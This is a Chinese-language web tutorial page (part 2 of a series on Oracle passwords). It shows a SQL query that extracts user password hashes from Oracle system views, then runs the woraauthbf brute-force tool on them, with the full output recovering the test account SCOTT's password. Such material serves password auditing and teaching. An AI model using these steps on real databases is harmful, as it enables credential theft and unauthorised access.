WEB开发网
开发学院数据库Oracle 重访Oracle密码 阅读

重访Oracle密码

 2009-05-20 13:15:01 来源:WEB开发网   
核心提示: 还是快速进入实例吧,复制下面指令的输出结果到一个txt文件,重访Oracle密码(2),这样就创建了上文所说的密码文件, select username||':'||password||':'||name||':'||host_name||&

还是快速进入实例吧。复制下面指令的输出结果到一个txt文件,这样就创建了上文所说的密码文件。

      select username||':'||password||':'||name||':'||host_name||':'
  from sys.dba_users, sys.V_$DATABASE, sys.v_$instance;

再次提醒一下,上面的name和host_name随便你怎么取,或者用真实值也行。本例子的输出文本文件内容如下:

      SCOTT:DE59105EDBF4A687:ORCL:MYPC:

我们知道Oracle测试用户Scott的密码为tiger,这里为tigers(最后输出的结果实为TIGERS,Oracle忽略大小写),从5字符变为6字符。解压缩上面下载的woraauthbf文件后,打开命令提示行(DOS)窗口,从这里调用该工具。将密码文件名存为“named password_file.txt”,命令行文本输入如下:

woraauthbf.exe -p c:\password_file.txt

所有参数选用默认,执行完本次会话输出结果如下所示:

      C:\[my path]>woraauthbf.exe -p c:\password_file.txt
  Usernames will be permuted!

  The number of processors: 2

  Number of pwds to check: 321272406

  Number of pwds to check by thread: 160636203

  Password file: c:\password_file.txt, charset: alpha, maximum length: 6, type: hash

  Start: 0 End: 160636203

  Start array thread with 489 number of passwords!

  Start: 160636203 End: 321272406

  Writing session files...

  Writing session files...

  Password found: SCOTT:TIGERS:ORCL:MYPC

  Elpased time: 164s

  Checked passwords: 153976754

  Password / Second: 938882

Tags:重访 Oracle 密码

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接